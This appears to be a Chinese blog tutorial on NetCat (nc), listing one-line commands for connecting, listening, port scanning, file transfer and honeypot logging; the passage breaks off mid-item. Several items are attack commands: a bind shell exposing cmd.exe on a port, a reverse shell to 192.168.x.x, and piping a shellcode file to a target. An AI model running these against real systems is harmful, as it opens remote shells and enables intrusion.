NC（Net cat ）使用详解（用作文件传输，端口转发，反弹Shell）

最新推荐文章于 2025-10-20 17:07:30 发布

原创

最新推荐文章于 2025-10-20 17:07:30 发布 · 1.2w 阅读

10 ·

CC 4.0 BY-SA版权

文章标签：

#NC #NetCat #简单反弹Shell

本文详细介绍了NetCat（NC）的基本用法，包括连接远程主机、监听本地端口、扫描远程主机端口、在远程主机上创建并绑定Shell、反弹Shell以及文件传输的示例。通过这些操作，NC可以作为网络工具进行端口转发、安全测试等用途。

1)连接到REMOTE主机，例子：
格式：nc -nvv 192.168.x.x 80
讲解：连到192.168.x.x的TCP80端口

2)监听LOCAL主机，例子：
格式：nc -l -p 80
讲解：监听本机的TCP80端口

3)扫描远程主机，例子：
格式：nc -nvv -w2 -z 192.168.x.x 80-445
讲解：扫描192.168.x.x的TCP80到TCP445的所有端口

4)REMOTE主机绑定SHELL，例子：
格式：nc -l -p 5354 -t -e c:\winnt\system32\cmd.exe
讲解：绑定REMOTE主机的CMDSHELL在REMOTE主机的TCP5354端口

5)REMOTE主机绑定SHELL并反向连接，例子：
格式：nc -t -e c:\winnt\system32\cmd.exe 192.168.x.x 5354
讲解：绑定REMOTE主机的CMDSHELL并反向连接到192.168.x.x的TCP5354端口

6)作攻击程序用，例子：
格式1：type.exe c:\exploit.txt|nc -nvv 192.168.x.x 80 格式2：nc-nvv192.168.x.x80
讲解：连接到192.168.x.x的80端口，并在其管道中发送'c:\ex ploit.txt'的内容(两种格式确有相同的效果，真是有异曲同工之妙:P) 附：'c:\exploit.txt'为shellcode等

7)作蜜罐用[1]，例子：
格式：nc -L -p 80
讲解：使用'-L'(注意L是大写)可以不停地监听某一个端口，直到ctrl+c为止

8)作蜜罐用[2]，例子：
格式：nc -L -p 80>c:\log.txt
讲解：使用'-L'可以不停地监听某一个端口，直到ctrl+c为止，同时把结果输出到'c:\log.txt'中，如果把'&